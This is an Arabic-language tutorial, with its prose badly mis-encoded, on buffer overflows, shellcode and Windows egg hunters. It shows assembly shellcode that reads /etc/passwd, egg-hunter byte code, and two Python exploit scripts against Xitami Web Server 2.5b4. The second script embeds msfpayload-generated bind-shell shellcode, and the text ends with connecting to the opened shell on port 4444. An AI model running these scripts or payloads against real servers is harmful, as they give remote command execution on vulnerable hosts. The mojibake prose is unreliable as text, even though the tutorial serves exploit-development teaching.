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:ϣвϹЧв 
 

ЮϜ ϢϼПϪ РϼЛж ϝжЛтвϮ ̮buffer overflow   ϢϼЪϜϺЮϜ сТ ϝлЮ ЈЊ϶вЮϜ аϮϲЮϜ  дК ϢϸϚϜϾ ϤϝжϝтϠ ϣϠϝϦЪ аϦт ϝвϸжК ϨϸϲϦ сϦЮϜм

.ϸмЪ ЬІЮϜ аЂϗϠ ϝлтЯК ХЯАт ϝв мϒ ϣтϮвϼϠ ϢϼУІ ХтϠАϦ сТ ϝлЮыПϦЂϖ мϒ ϣвϸ϶ЮϜ дϝвϼϲ сТ ϝвϖ ϝлжв ϢϸϝУϦЂъϝϠ ЬПϦЂвЯЮ ϱвЂϦ сϦЮϜм 

:Shellcode 

сϦЮϜм сЯϠвЂъϜ ϣПЯϠ ϣϠмϦЪв ϤϝвтЯЛϦ ϢϸК дК ϢϼϝϠК мк :ЬϝϪв йжтЛв йвлв ϺтУжϦϠ амЧϦ 

.ϵЮϖ.., аϝДжЮϜ пЯК ϼвϜмϒ ϺтУжϦ , РЯв Ϣ̭ϜϼЦ , РЯв ϣϠϝϦЪ 

:  РЯв Ϣ̭ϜϼЧЮ ϸмЪ ЬІ ЬϝϪв 

 

global  _start  

 

section  .text  

_start :  

  xor  ecx ,  ecx  

  mul  ecx  

open :  

  mov al ,  0x05  

  push  ecx  

  push  0x64777373  

  push  0x61702f63  

  push  0x74652f2f  

  mov ebx ,  esp  

  int  0x80  

read :  

  xchg  eax ,  ebx  

  xchg  eax ,  ecx  

  mov al ,  0x03  

  mov dx ,  0x0FFF  

  inc  edx  

  int  0x80  

exit :  

  xchg  eax ,  ebx  

  int  0x80  

 

 

:ϣтЮϝϦЮϜ ЙЦϜмвЮϜ ϢϼϝтϾ ШжЪвт мЯТ ϼТмϜ ϼУϠЮϜ ϢϼПϪ пЯК ЬтЊϝУϦЮϜ дв ϸтϾв пЯК ИыАщЮ 

π iSECUR1TY 

π Security4Arabs 

  

https://www.isecur1ty.org/%D9%85%D9%82%D8%A7%D9%84-%D9%85%D8%AF%D8%AE%D9%84-%D8%A7%D9%84%D9%89-%D8%AB%D8%BA%D8%B1%D8%A7%D8%AA-%D8%A7%D9%84%D9%81%D9%8A%D8%B6-buffer-overflow/
https://www.security4arabs.com/2010/08/30/%D8%A3%D8%B3%D8%A7%D8%B3%D9%8A%D8%A7%D8%AA-%D8%AB%D8%BA%D8%B1%D8%A7%D8%AA-%D8%A7%D9%84%D9%81%D9%8A%D8%B6-%E2%80%AB%E2%80%AAbuffer-overflow%E2%80%AC%E2%80%AC/
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ϣЯЫЇгЮϜ: 
 

 ϸмЪ ЬІЮϜ ϣϠϝϦЪ аϦт рϺЮϜ ϼУϠЮϜ аϮϲ дмЪт ϼУϠЮϜ ϤϼПϪ ЬыПϦЂϖ Ϥъϝϲ ЌЛϠ сТ йϦϠϝϦЪ ϸϜϼвЮϜ ϸмЪ ЬІЮϜ дв ϼПЊϒ йтТ. 

ЬϝϪв:  

 ϸтϼжЮϜ ϢϼПϪ ЬыПϦЂϖ ̮Buffer overflow  ХтϠАϦмshellcode ,аϮϝлвЮϜ ϾϝлϮ пЯК ϣтЂЪК ЬϝЊϦϖ ̭ϝІжϗϠ амЧтаϜϸ϶ϦЂϗϠ амЧжЂ 

Meterpreter reverse tcp shellcode 

:аϮϲЮϜ 341  .ϤтϝϠ 

ЮϜ ϣϠϝϦЪЮ ϼТмϦвЮϜ аϮϲЮϜ оϼж ϝвЪ дЪЮм ̮shellcode :  мк 

 

 ЙЎмЮ йвϜϸ϶ϦЂϜ дЪвтъ ϼТмϦвЮϜ аϮϲЮϜ дϜ Дϲыж ϝвЪshellcode  рϺЮϜм сЂЪЛЮϜ ЬϝЊϦъϝϠ амЧт ϣвϮϲ НЯϠт341  ъ сЮϝϦЮϝϠм ϤтϝϠ

.ϝжтϸЮ ϼТмϦвЮϜ дϝЪвЮϜ аϮϲЮ ЙЂϦт 
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̬ ЭϳЮϜнкϝв 
 

ЬϜ ϣϠϝϦЪ ϢϸϝКϖ ϝвϖshellcode  мк ϝжϦЮϝϲ сТ ,иϺтУжϦ ϸϜϼвЮϜmeterpreter reverse tcp   сТ ϝвЪ ϼТмϦвЮϜ аϮϲЮϜ ϞЂϝжтЮ

 мкм иыКϒ иϼмЊЮϜ43 .ϞЛЊцϜ ЬϲЮϜ мкм ϤтϝϠ 

 ϣϠϝϦЪ мϒshellcode   ЬϜ дК ϭвϝжϼϠЮϜ ϢϼЪϜϺ сТ ϨϲϠЮϝϠ амЧт иϼмϸϠ м ϼТмϦвЮϜ аϮϲЮϜ ϞЂϝжтmeterpreter shellcode  

.ϭвϝжϼϠЯЮ ϼ϶ϐ Ь϶ϸв ХтϼА дК йЮϝ϶ϸϗϠ амЧжЂ рϺЮϜ 

 

ЬϜ нкϝвEgg : 

 мк дК ϢϼϝϠК4  ЬϠЦ ϝлЛЎм аϦт ϤтϝϠShellcode   амЧт ϝвϸжК ϣвыКϝЪ ϝлвϜϸ϶ϦЂϖ аϦтЮ иϺтУжϦ ϸϜϼвЮϜEgg hunter   ϨϲϠЮϝϠ

ЬϜ дКshellcode .ϢϼЪϜϺЮϜ сТ 

 ϼϜϼЪϦ аϦт :ϣДϲывEgg   ϱϠЊϦЮ дϝϦϼв8 .ϢϼЪϜϺЮϜ сТ ϼ϶ϐ дϝЪв сТ ЌϼϝЛϦ ϸмϮм аϸК дв ϸЪϓϦЯЮ ϤтϝϠ 
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ЬϜ нкϝвEgg Hunter : 

 дК ϢϼϝϠК мкshellcode   ϞϼϝЧт ϝв аϮϲЮϜ ϼтПЊ дмЪтϝв ̯ϝϠЮϝО32 ϤтϝϠ  дК ϢϼТмϦвЮϜ ϭвϝжϼϠЮϜ ϢϼЪϜϺ сТ ϨϲϠЮϜ ск йϦУтД м

 ЬϜEgg   ϝлвϮϲ дмЪϦЂ сϦЮϜм8 ϤтϝϠ  ϣтϜϸϠ пЯК ϼІϔт РмЂ рϺЮϜм ϢϼЪϜϺЮϜ дв ЙЦмвЮϜ ШЮϺ пЮϜ ЬϝЧϦжшϜ аϦтЂ ϝкϸϝϮтϖ аϦ Ьϝϲ сТ м

ЬϜmeterpreter shellcode  .ϝжϦЮϝϲ сТ 

 

 ЭгК ϣЧтϽАEgg hunter : 

:дтЯ϶ϸв ЬϠЧϦЂтм ϞϝЊв ϭвϝжϼϠ ϝжтϸЮ дϒ ЌϼУжЮ 

ЬмцϜ Ь϶ϸвЮϜ .атЯЂ Ь϶ϸв мкм : 

сжϝϪЮϜ Ь϶ϸвЮϜ .ϞϝЊв Ь϶ϸв мкм : 
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 ИϜнжϒEgg Hunter :ϾмϹзтнЮϜ ϣгЗжц 
 

ЬϜ пЮϜ ФϼАϦжЂ ϣЮϝЧвЮϜ иϺк сТEgg hunter АЧТ ϾмϸжтмЮϜ ϣвДжϒ сТ . 

ИϜмжϒ ϣЛϠϼϒ ϸϮмт двEgg hunter сТ ϣвДжϒ  , ϾмϸжтмЮϜЮϜ аϮϲ ϼϠЪЮ йтЮϜ ФϼАϦж дЮ ЙϠϜϼЮϜ ИмжЮϜ ϝвϒ ИϜмжϒ ϣϪыϪ ϰϼІ аϦтЂ ̮

shellcode . 

 

 ϣвϸ϶ϦЂвЮϜ ϣЮϜϸЮϜ РыϦ϶ϗϠ ϣϪыϪЮϜ ИϜмжъϜ РЯϦ϶Ϧ(windows api function): 

 

м- IsBadReadPtr 

 

 , Ь϶ϸвЪ ϢϼЪϜϺЮϜ сТ дϜмжК ЬϝϠЧϦЂϗϠ ϣЮϜϸЮϜ амЧϦ :ϣУтДмЮϜϜ ϜϺк дϝЪ ϜϺϖ ϝв ϸϸϲϦм ϝлвϸ϶ϦЂжЂ, ъ мϒ Ϣ̭ϜϼЧЮϜ ϣтϲыЊ йтϸЮ дϜмжЛЮ

.ϸмϮмв ϼтО аϒ ϸмϮмв дϜмжЛЮϜ дϝЪ ϜϺϖ ϝв сТ ϸтϸϲϦЮ 

аϮϲЮϜ:  37 .ϤтϝϠ  

.ϣвϸ϶ϦЂвЮϜ ϣЮϜϸЮϜ ЬвК ϣЦϸ аϸЛЮ ̯ϝжϼДж иϼϪЪϠ аϸ϶ϦЂтъ ИмжЮϜ ϜϺк :ϣДϲыв- 

 

н-  NTDisplayString 
  :ϣУтДмЮϜ ЬϝϠЧϦЂϗϠ ϣЮϜϸЮϜ амЧϦ) Јж пЯК ϼІϔт ϢϼЪϜϺ дϜмжКstring сТ аϸ϶ϦЂϦ ,̭ϝЦϼϾЮϜ ϣІϝІЮϜ сТ ЈжЮϜ ϣКϝϠАϠ амЧϦ м (

ЬϜEgg hunter  .ϸмϮмв ϼтО аϒ ϸмϮмв дϜмжЛЮϜ дϝЪ ϜϺϖ ϝв ϸϸϲϦЮ 

 :аϮϲЮϜ32 .ϤтϝϠ 

 

о-  NtAccessCheckAndAuditAlarm 

:ϣУтДмЮϜ  ϣЮϜϸ сТ ϝвЪNTDisplayString  тО аϜ ϸмϮмв ϢϼЪϜϺЮϜ дϜмжК дϝЪ ϜϺϜ ϝв ϸϸϲϦЮϼ .ϸмϮмв 

:аϮϲЮϜ 32 .ϤтϝϠ 
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сЯϠвтЂъϜ ϤϝвтЯЛϦ ϰϼІEgg hunter  ϣЮϜϸ аϜϸ϶ϦЂϗϠ  NtAccessCheckAndAuditAlarm: 

 

 

1-  сТ ϢϼЪϜϺЮϜ ϣϲУЊ сТ дϜмжК ϼ϶ϐ дтϾ϶Ϧedx 

register 

2- ЬϜ ϢϸϝтϾedx register  .ϸϲϜмϠ 

3-  ЙЎмedx register  ЬϜ пЯКϒ сТStack 

4-  ϣтвЧЮϜ ЙЎм2 ЬϜ пЯКϒ сТStack 

5-  ϣвтЧЮϜ ϣЮϜϾϖ2 ЬϜ пЯКϒ двStack сТ ϝлЛЎм м  

eax register .ϣвϸ϶ϦЂвЮϜ ϣЮϜϸЮϜ ϣвтЦ скм 

6-  сТ дϾ϶вЮϜ аЦϼЮϝϠ ϝлЮ Ͼвϼт сϦЮϜм ϣЮϜϸЮϜ ̭ϝКϸϦЂϖ

eax register . 

7-  ϣтЛϮϼЮϜ ϣвтЧЮϜ дϾ϶Ϧ РмЂм ϣЮϜϸЮϜ ̭ϝКϸϦЂϖ ϸЛϠ

 сТAL   дв сЯУЂЮϜ ̭ϾϮЮϜ мк мeax 

register   аЦϼЮϜ Ϟ ϝлϦжϼϝЧв м5 , йжϒ сжЛт мкм

 сТ дϾ϶вЮϜ дϜмжЛЮϜ Ьм϶ϸ ̭ϝжϪϒ ϓА϶ ϸϮмтEdx 

register . 

8-  пЯКϒ сТ иϸмϮмвЮϜ ϣвтЧЮϜ ЙЎмϠ амЧжЂ

ЬϜStack   сТEdx register  . 

9-  ϣвтЯЛϦЮϜ иϺк амЧϦЂ:сЮϝϦЮϝϠ 

-  ϣвтЦ ϤжϝЪ ϜϺϖAL   рмϝЂϦ5  ЬϝЧϦжшϜ аϦтЂТ

 аЦϼ ϣвтЯЛϦЮϜ пЮϜ1. 

-  ϣвтЦ ϤжϝЪ ϜϺϖAL   рмϝЂϦ ъ5  ϣвтЯЛϦЮϜ пЮϜ ЬϝЧϦжшϜ аϦтЂТ10 . 

10-  ЬϜ ϣвтЦ ЙЎмEGG  ЬϜ сТEax register  ЬϜ ϣвтЦ :Egg   ϣвЯЪ скw00t . 

11- ЬϜ сТ дϾ϶вЮϜ дϜмжЛЮϜ ϵЂжEdx   сТ йЛЎм мEDI register . 

12-  сТ ϣжϾ϶вЮϜ ϣвтЧЮϜ ϣжϼϝЧвϠ амЧϦ ϣвтЯЛϦЮϜ иϺкEax register   сТ дϾ϶вЮϜ ϢϼЪϜϺЮϜ дϜмжК сТ ϢϸмϮмвЮϜ ϣвтЧЮϜ ЙвEDI 

register  ϢϸϝтϾϠ амЧϦЂмEDI register   Ϟ4 .ϤтϝϠ 

13-  аЦϼ ϣвтЯЛϦЮϜ пЮϜ ЬϝЧϦжшϜ аϦтЂ ϣтмϝЂϦв ϼтО ϣвтЧЮϜ ϤжϝЪ ϜϺϖ2 . 

14- ЛЮϜ ϼϜϼЪϦ аϦтЂ ϣтмϝЂϦв ϣвтЧЮϜ ϤжϝЪ ϜϺϖ ϣтЯв12  сТ ϸмϮмвЮϜ ϢϼЪϜϺЮϜ дϜмжК сТ ϢϸмϮмвЮϜ ϣвтЧЮϜ ϣжϼϝЧв аϦтЂEDI  ϣвтЦ Йв

ЬϜ EAX register   ЬϜ ϢϸϝтϾмEDI   Ϟ4 .ϤтϝϠ 

15-  ЬϜ сТ ϸмϮмвЮϜ дϜмжЛЮϜ ЬϜ ЬϝЧϦжъϜ аϦтЂТ ϣтмϝЂϦв ϣвтЧЮϜ ϤжϝЪ ϜϺϖEDI  ϣтϜϸϠ пЯК ϼІϔт рϺЮϜмLarge shellcode  . 

 ϣтмϝЂϦв ϼтО ϣвтЧЮϜ ϤжϝЪ ϜϺϖ аЦϼ ϣвтЯЛϦЮϜ пЮϜ ЬϝЧϦжшϜ аϦтЂ2 . 
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 ϢϽПϫЮ сЯгК ХуϡГϦEggHunter: 
 

 ϭвϝжϼϠ ϼϝтϦ϶Ϝ аϦXitami Web Server 2.5b4  ϢϼПϪϠ ϞϝЊвBuffer Overflow  ЙЦмв двexploit-db  аϦтЂ рϺЮϜм

:иыКϜ ϼмЪϺвЮϜ ϭвϝжϼϠЮϜ Ьы϶ дв ϢϼПϪЮϜ ϰϼІ 

 ϢϼПϪϠ йϦϠϝЊϜ дв ϸЪϓϦЮϜм ϭвϝжϼϠЮϜ ϼϝϠϦ϶Ϝ аϦ ϣтϜϸϠЮϜ сТBuffer Overflow  ϣтЧϠϦвЮϜ ϣϲϝЂвЮϜ аϮϲ дв ϸЪϓϦж дϜ ϬϝϦϲж ШЮϺ ϸЛϠ

 ϣϠϝϦЪЮshellcode пЯК двтцϜ ϼϾЮϜ пЯК АЛЎЮϜ ХтϼА дК ϸЪϓϦЮϜ ϣЧтϼА ,register ESP  ϼϝтϦ϶ϜмFollow in Dump 

 ϝжЮ ϰϝϦвЮϜ аϮϲЮϜ ϝжЮ ϼлДт РмЂм 

 

 

 ЙЎмЮ ϣтТϝЪ ϼтО ϣтЧϠϦвЮϜ ϣϲϝЂвЮϜ дϓϠ аЪϲЮϜ ЙтАϦЂж иыКϜ ϢϼмЊЮϜ двshellcode  Имж двCMD Bind Connection 

 пЮϜ ϬϝϦϲж ϣЮϝϲЮϜ рϺк сТshellcode EggHunter  пЮϜ ЬмЊмЯЮshellcode    ЬвЛϠ амЧтЂ рϺЮϜReverse 

Connection аϜϸ϶ϦЂϝϠ амЧжЂ,egghunter  ϣЮϜϸ аϸ϶ϦЂтNtAccessCheckAndAuditAlarm  дК ϨϲϠЯЮtag 

 (ϣтϲϝϦУв ϣвЯЪ) 

 egghunt = 

( " \ x66 \ x81 \ xCA\ xFF\ x0F \ x42 \ x52 \ x6A\ x02 \ x58 \ xCD\ x2E\ x3C\ x05 \ x5A\ x74 \ xEF\ xB8"  

 "w00t"  # 4 byte tag  

 " \ x8B\ xFA\ xAF\ x75 \ xEA\ xAF\ x75 \ xE7\ xFF\ xE7" )  

 

 сТEggHunter shellcode  ϝжвϸ϶ϦЂϜ ХϠϝЂЮϜtag w00t  дК ϨϲϠЯЮshellcode цϜ ХтϼА дК ,ϢϼЪϜϺЮϜ сТ сЂϝЂ

 дК ϢϼЪϜϺЮϜ ϤϝтмϦϲв ЙтвϮ дК ϨϲϠЮϜtag  Йв ϣϮвϸ аϦ рϺЮϜshellcode  ϺтУжϦ аϪ двмbind connection 

shellcode. 

м 

н 
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import  time , socket ,  sys  

 

if  len ( sys . argv )  !=  3:  

    print  "Usage: ./xitami.py <Target IP> <Target Port>"  

    sys . exit ( 1)  

 

target = sys . argv [ 1]  

port = int ( sys . argv [ 2])  

 

egghunt = ( " \ x66 \ x81 \ xCA\ xFF\ x0F \ x42 \ x52 \ x6A\ x02"  

" \ x58 \ xCD\ x2E\ x3C\ x05 \ x5A\ x74 \ xEF\ xB8"  

"w00t"  # 4 byte tag  

" \ x8B\ xFA\ xAF\ x75 \ xEA\ xAF\ x75 \ xE7\ xFF\ xE7" )  

 

shellcode = "C"  *  500  

jump = " \ xeb \ x22"  # short jump  

 

buf = "A"  *  72                   

buf += " \ x53 \ x93 \ x42 \ x7E"  # jmp esp (user32.dll  

buf += jump  

buf += " \ x90"  *  50 

buf += egghunt  

 

shellcode += "w00tw00t"  + shellcode  # tag  shellcode with w00t  

 

# send the first GET request with shellcode  

header1 = (  

'GET / HTTP/1.1 \ r \ n'  

'Host: %s \ r \ n'  

'user - agent: %s \ r \ n'  

' \ r \ n' )  % ( target ,  shellcode )  

 

# send the GET request with payload  

header2 = (  

'GET / HTTP/1.1 \ r \ n'  

'Host: %s \ r \ n'  

'If - Modified - Since: pwned, %s \ r \ n'  

' \ r \ n' )  % ( target ,  buf )  

 

s = socket . socket ( socket . AF_INET ,  socket . SOCK_STREAM)  

try :  

    s . connect (( target ,  port ))  

    print  "[+] Connected"  

except :  

    print  "[!] Connection Failed"  

    sys . exit ( 0)  

 

print  "[+] Sending shellcode..."  

s . send ( header1 )  

time . sleep ( 1)  

s . close ()  

  

ϸмЪ 1 ϢϼПϪЮϜ ЬыПϦЂъ сϚϸϠвЮϜ ϸмЪЮϜ : 
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 дК ϨϲϠЮϝϠ сϮвϼϠЮϜ ϤϠϼЪЂЮϜ амЧтЂshellcode  ЬвЛϠ амЧтЂ рϺЮϜbind connection  дК ϭвϝжϼЮϝϠ ϣЊϝ϶ЮϜ ϢϼЪϜϺЮϜ сТ

 дК ϨϲϠЮϜ ХтϼАtag w00t  ϸϮм ϜϺϜtag  ϸϮм йжϝϠ ϤϠϼЪЂЮϜ ϸЪϓϦтЂ дтϦтЮϝϦϦв дтϦϼвshellcode .сЧтЧϲЮϜ 

 ϝжЛЎм ϣтϜϸϠЮϜ сТshellcode ϼϲ дК ϢϼϝϠКмР C   ϝжЯвК ϝкϸЛϠ ,ϤϠϼЪЂЮϜ ЬвК ϣϲЊ дв ϸЪϓϦжЮ АЧТpayload   рϺЮϜ

 пЯК ϣϠϝϦЪЮϜ аϦтЂм ϭвϝжϼϠЮϜ ЬвК РЦмϦ ϞϠЂтЂregister ESP  ϤϝвтЯЛϦЮϜ ЌЛϠ сА϶ϦЮ ϢϾУЦ ЬвК ϝкϸЛϠм ,ϼммЪϺвЮϜ дϜмЛжЮϝϠ

 ϸтУжϦ аϦт РмЂ ϼт϶цϜ сТм ,ЬыПϦЂъϜ ЬвК ϸЂУϦ РмЂ сϦЯЮϜEggHunter shellcode  дК ϨϲϠЯЮegg. 

 

 

 ЬвК ЀУжϠ амЧж дϜ  ЙтАϦЂж ϢϼПϪЮϜ  ϣϠϝϦЪ сТ ЬЂϼϦЂж дϜ ЬϠЦEggHunter shellcode  ϣтЯвК сТ  аϸ϶ϦЂвЮϜ ϭвϝжϼϠЮϜ ХтϼА дК

debugging  ϭвϝжϼϠ ϝжвϸ϶ϦЂϜ ЬϝϪвЮϜ ϜϺк сТ ,ϭвϝжϼϠЮϜ ϢϼЪϜϺ сТ ϨϲϠЮϜ ϣтЯвК ϝжЮ ϱЎϦϦ сЪЮImmunity Debugger  

 

 Рϼϲ пЯК АПЎж ϣтϜϸϠЮϜ сТm ϸмϮмвЮϜ 

ϱϦУт РмЂ рϺЮϜмϮвϝжϼϠЮϜ ϣϲУЊ пЯКϜ 

 ϢϺк ,ϢϼЪϜϺЮϜ ϢϺТϝж пКϸϦ ϢϸтϸϮ ϢϺТϝж ϝжЮ 

аϦ сϦЮϜ ϤϝжϝтϠЮϜ ЙтвϮ ϝжЮ ЌϼЛϦ ϢϺТϝжЮϜ 

 мϜ Ь϶ϸϦ сϦЮϜ ϤϝжϝтϠЮϜ мϜ ϭвϝжϼϠЮϜ сТ ДУϲϦ

 ϝжЯЂϼϜ ϜϺк ϝжЮϝϪв сТ ,аϸ϶ϦЂвЮϜ ЬϠЦ дв ЬЂϼϦ

GET request  пЯК рмϦϲтtag w00t 

 ̮Ϡ ϝКмϠϦвshellcode  РϼϲϜ дК ϢϼϝϠК мкм

C .ϣДϲЯЮϜ ϢϺк пЮϜ 

 дϜмжК пЮϜ ϾУЧЮϜ

ллC9FF58 

EggHunter shellcode 
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 ϸЛϠ) ϨϲϠЮϜ ϼϝт϶ пЯК ϝкϸЛϠ двтъϜ ϼϾЮϜ пЯК АПЎЮϝϠ амЧжЂ ,ϢϺТϝжЮϜ ϢϺк ϝжЮ ϼлДϦ РмЂ ϢϼЪϜϺЮϜ ϢϺТϝж пЯК АПЎЮϜsearch (

 ϣϠϝϦЪмtag  дК ϨϲϠЮϜ сЮϝϦЮϝϠм йтЯК ϨϲϠЮϝϠ амЧтЮ ϣЮϝЂϼϜ аϦ рϺЮϜshellcdoe 

 

 ϼϾ пЯК АПЎЮϜ ϸЛϠok  дК ϨϲϠЮϝϠ амЧтЂtag  ϢϼмЊЮϜ сТ ϝжЮ ϼлДт ϝвЪ ,йтЯК ϼмϪЛЮϜ пϦϲ ϭвϝжϼϠЮϝϠ ϣЊϝ϶ЮϜ дтмϝжЛЮϜ ЙтвϮ сТ

ϣтЮϝϦЮϜ: 

 

 пЯК ϼмϪЛЮϜ аϦtag  ̮Ϡ ϝКмϠϦвshellcode  сТ

 дϜмжЛЮϜ00A28448. 

 ЬвК ϣЧтϼА ϝϠтϼЧϦ рϺкEggHunter 

shellcode  ЙжЊϠ амЧж дϜ ϝжϮϦϲϜ ϜϺлЮм

shellocde :ЬвЛЮϜ ϜϺлϠ амЧт 

:ъмϒ ϸмЪ сТ ϣϮвϸЮ  ϣϮϝϲЮϜ дмϸ ϢϼПϪЮϜ ЬыПϦЂϜ

.рмϸт ЬЪІϠ ϣЧϠϝЂЮϜ ϤϜмА϶ЮϜ ШЯϦ ЬвК пЮϜ 

:ϝтжϝϪ  дϝЪвϠ ϝжϦТϼЛв аϸЛЮshellcode  сЧтЧϲЮϜ

 дϜмжЛϠ ϔϠжϦЮϜ ЬϠϝЦ ϼтО йжмЪshellcode РмЂ ,

ϢϼЪϜϺЮϜ сТ РЯϦ϶в дϜмжК сТ иϼв ЬЪ сТ дмЪт. 
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 ЬϜϸϠϦЂϝϠ ϢϼПϪЮϜ ЬыПϦЂϜм ϸмЪЮϜ ЬϝвЪϦЂϜ ЙтАϦЂж дцϜshellcode  ϸмЪ) ХϠϝЂЮϜ ϸмЪЮϜ сТ1 ̮Ϡ (shellcode reverse 

connection  ХтϼА дК ϢϔϝІжϗϠ  амЧжЂmsfvenom сЮϝϦЮϜ ϼвцϜ аϜϸ϶ϦЂϝϠ 

 

root@kali:  ./msfpayload win32_bind lport=4444 exitfunc=process R | ./msfencode -e JmpCallAdditive  -b 

'\ x00\ x0a\ x0d' -c 7 -t c 

 

 ЬЪІ ϝжϼϦ϶Ϝ рϺЮϜ ϞϠЂЮϜc )-f c ϣтϝлжм ϣтϜϸϠ ЀϜмЦϜ ϣТϝЎϜ АЧТ ϬϝϦϲж ϵЂжЮϜ сТ ЬлЂϜ йжмЪ (shellcode  дв йтЯК РϼЛϦЮϜ аϦтЮ

 пЯК ЬЊϲжЂ ϣтϝлжЮϜ сТ ,дмϪтϝϠЮϜ ϤϠϼЪЂ ЬϠЦshellcode сЮϝϦЮϜ 

 

 

 

 ϵЂж ϸЛϠshellcode  ϸмЪ) ϤϠϼЪЂЮϜ РЯв пЯК йϦТϝЎϜм1 ϼтПϦвЮϜ дϝЪв сТ (shellcode  сϚϝлжЮϜ ϤϠϼЪЂЮϜ пЯК ЬЊϲжЂ

ϞϝЊвЮϜ ϭвϝжϼϠЮϜ ϼϠК ϾϝлϮЮϝϠ сЂЪЛЮϜ ЬϝЊϦъϜ ϝжЮ ϱтϦт рϺЮϜ 
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import  time  

import  socket  

import  sys  

 

if  len ( sys . argv )  !=  3:  

    print  "Usage: ./xitami.py <Target IP> <Target Port>"  

    sys . exit ( 1)  

 

target = sys . argv [ 1]  

port = int ( sys . argv [ 2])  

 

egghunt = ( " \ x66 \ x81 \ xCA\ xFF\ x0F \ x42 \ x52 \ x6A\ x02"  

" \ x58 \ xCD\ x2E\ x3C\ x05 \ x5A\ x74 \ xEF\ xB8"  

"w00t"  # 4 byte tag  

" \ x8B\ xFA\ xAF\ x75 \ xEA\ xAF\ x75 \ xE7\ xFF\ xE7" )  

 

shellcode = ( " \ xfc \ xbb \ x62 \ x6f \ x16 \ xaa \ xeb \ x0c \ x5e \ x56 \ x31 \ x1e \ xad \ x01 \ xc3 \ x85"  

" \ xc0 \ x75 \ xf7 \ xc3 \ xe8 \ xef \ xff \ xff \ xff \ x9e \ x05 \ xfd \ xe7 \ xb6 \ x23 \ xfe"  

" \ x07 \ xb9 \ xb4 \ x8a \ x94 \ x61 \ x11 \ x06 \ x21 \ x55 \ xd2 \ x64 \ xaf \ xdd \ xe5 \ x7b"  

" \ x24 \ x52 \ xfe \ x08 \ x64 \ x4c \ xff \ xe5 \ xd2 \ x07 \ xcb \ x72 \ xe5 \ xf9 \ x05 \ x45"  

" \ x7f \ xa9 \ xe2 \ x85 \ xf4 \ xb6 \ x2b \ xcf \ xf8 \ xb9 \ x69 \ x3b \ xf6 \ x82 \ x39 \ x98"  

" \ xdf \ x81 \ x24 \ x6b \ x40 \ x4d \ xa6 \ x87 \ x19 \ x06 \ xa4 \ x1c \ x6d \ x47 \ xa9 \ xa3"  

" \ x9a \ x74 \ xfd \ x28 \ xd5 \ x16 \ xd9 \ x32 \ x87 \ x25 \ x10 \ x90 \ x23 \ x22 \ x10 \ x16"  

" \ x27 \ x74 \ x9b \ xdd \ x47 \ x68 \ x0e \ x6a \ xe7 \ x98 \ x0e \ x05 \ x66 \ xd6\ xa0 \ x39"  

" \ x26 \ x19 \ x6a \ xa7 \ x94 \ x83 \ xfb \ x1b \ x29 \ x23 \ x8b \ x28 \ x7f \ xec \ x27 \ x30"  

" \ xaf \ x7a \ x03 \ x23 \ xac \ x41 \ xc3 \ x43 \ x9b \ xea \ x6a \ x5e \ x42 \ x95 \ x80 \ xa9"  

" \ x89 \ xc0 \ x30 \ xa8 \ x72 \ x3a \ xac \ x75 \ x85 \ x4f \ x80 \ xd1 \ x69 \ x79 \ x88 \ x8e"  

" \ xc6 \ xd6 \ x7c \ x72 \ xba \ x9b \ xd1 \ x8b \ xec \ x7d \ xbe\ x62 \ x51 \ xe7 \ x6d \ x0c"  

" \ x88 \ x72 \ xf9 \ xaa \ x51 \ x0c \ x3d \ xe5 \ x9a \ x3a \ xab \ x1a \ x34 \ x97 \ xd3 \ xcb"  

" \ xde \ xb3 \ x81 \ xc2 \ xf7 \ xec \ x26 \ xcc \ x5b \ x47 \ x26 \ x21 \ x33 \ x82 \ x91 \ x44"  

" \ x8d \ x1b \ xdd \ x9f \ x5e \ xf7 \ x75 \ x75 \ xa0 \ x27 \ xe6 \ x1d \ xb9 \ xbe \ xcf \ xa7"  

" \ x12 \ xbf \ x06 \ x02 \ x62 \ xef \ xc1 \ xc7 \ xf8 \ x69 \ x66 \ x7b \ x6c \ xfc \ x93 \ x11"  

" \ x3e \ xa7 \ x72 \ x2a \ x37 \ xb0 \ xef \ xf6 \ xc1 \ xdc \ xc1 \ x36 \ x22 \ x8a \ xdc \ xf5"  

" \ xe8 \ x34 \ x62 \ xd6 \ x61 \ x45 \ x19 \ x1e \ x2d \ xfe \ x75 \ x36 \ x43 \ xfe \ x39 \ xd1"  

" \ x5c \ x8b \ x79 \ x21 \ x74 \ x28 \ xd5 \ x8f \ x28 \ x9f \ x88 \ x45 \ xca \ x4e \ x7a \ xcf"  

" \ x9d \ x8f \ xac \ x87 \ xb0\ xb6 \ x48 \ x96 \ x98 \ xb7 \ x85 \ x4c \ xe0 \ xb8 \ x1d \ x6e"  

" \ xce \ xcd \ x35 \ x6c \ x6c \ x15 \ xdd \ x73 \ xa5 \ xc7 \ xe1 \ x5c \ x22 \ x17 \ x97 \ x59"  

" \ xec \ x84 \ x57 \ xb7 \ xed \ xfa \ xa8 \ x38 \ x12 \ xfa \ xa8 \ x38 \ x12" )  

 

jump = " \ xeb \ x22"  # short jump  

 

buf = "A"  *  72                   

buf += " \ x53 \ x93 \ x42 \ x7E"  # jmp esp (user32.dll  

buf += jump  

buf += " \ x90"  *  50 

buf += egghunt  

 

shellcode += "w00tw00t"  + shellcode  # tag shellcode with w00t  
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# send the first GET request with shellcode  

header1 = (  

'GET / HTTP/1.1 \ r \ n'  

'Host: %s \ r \ n'  

' user - agent: %s \ r \ n'  

' \ r \ n' )  % ( target ,  shellcode )  

 

# send the GET request with payload  

header2 = (  

'GET / HTTP/1.1 \ r \ n'  

'Host: %s \ r \ n'  

'If - Modified - Since: pwned, %s \ r \ n'  

' \ r \ n' )  % ( target ,  buf )  

 

s = socket . socket ( socket . AF_INET ,  socket . SOCK_STREAM)  

try :  

    s . connect (( target ,  port ))  

    print  "[+] Connected"  

except :   
    print  "[!] Connection Failed"  

    sys . exit ( 0)  

 

print  "[+] Sending shellcode..."  

s . send ( header1 )  

time . sleep ( 1)  

s . close ()  

 

 

  

ϸмЪ 2ϢϼПϪЮϜ ЬыПϦЂъ сϚϝлжЮϜ ϸмЪЮϜ : 
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ϤϠϼЪЂЮϜ ЬтПІϦ ХтϼА дК ϢϼПϪЮϜ ЬыПϦЂϜ ϣϠϼϮϦ ϝжϦКϝАϦЂϝϠ дъϜ  аЦϼ ϺУжв ϼϠК ϞϝЊвЮϜ ϾϝлϮЮϝϠ ЬϝЊϦшϜ ϝкϸЛϠм ,ХϠϝЂЮϜ4444 

.сЂЪЛЮϜ ЬϝЊϦъϜ ЬϝϠЧϦЂъ 

 

 

 

